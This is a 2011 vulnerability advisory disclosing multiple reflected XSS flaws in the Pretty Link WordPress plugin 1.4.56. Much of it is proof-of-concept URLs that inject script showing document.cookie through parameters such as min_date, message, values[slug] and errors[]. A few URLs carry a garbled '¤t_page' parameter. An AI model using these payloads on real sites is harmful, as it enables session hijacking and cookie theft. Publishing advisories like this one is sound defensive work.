Vulnerability ID: HTB23049 Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_pretty_link_wordpress_plugin.html Product: Pretty Link WordPress Plugin Vendor: Caseproof ( http://blairwilliams.com/ ) Vulnerable Version: 1.4.56 and probably prior Tested Version: 1.4.56 Vendor Notification: 21 September 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pretty Link WordPress Plugin, which can be exploited to perform cross-site scripting attacks. 1) Input passed via the "min_date" GET parameter to /wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php?min_date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 2) Input passed via the "message" GET parameter to /wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/wp-content/plugins/pretty-link/classes/views/prli-dashboard-widget/widget.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 3) Input passed via the "prli_blogurl", "values" GET parameters to /wp-content/plugins/pretty-link/classes/views/prli-links/form.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?prli_blogurl=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[slug]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[name]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[description]=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][307]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/prli-links/form.php?values[redirect_type][301]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 4) Input passed via the "errors" GET parameter to /wp-content/plugins/pretty-link/classes/views/shared/errors.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/wp-content/plugins/pretty-link/classes/views/shared/errors.php?errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 5) Input passed via the "page_first_record", "page_last_record", "record_count", "controller_file", "page_params" GET parameters to /wp-content/plugins/pretty-link/classes/views/shared/table-nav.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC code is available: http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_first_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&page_last_record=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2&record_count=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2¤t_page=2&controller_file=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php?page_count=2¤t_page=2&page_params=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 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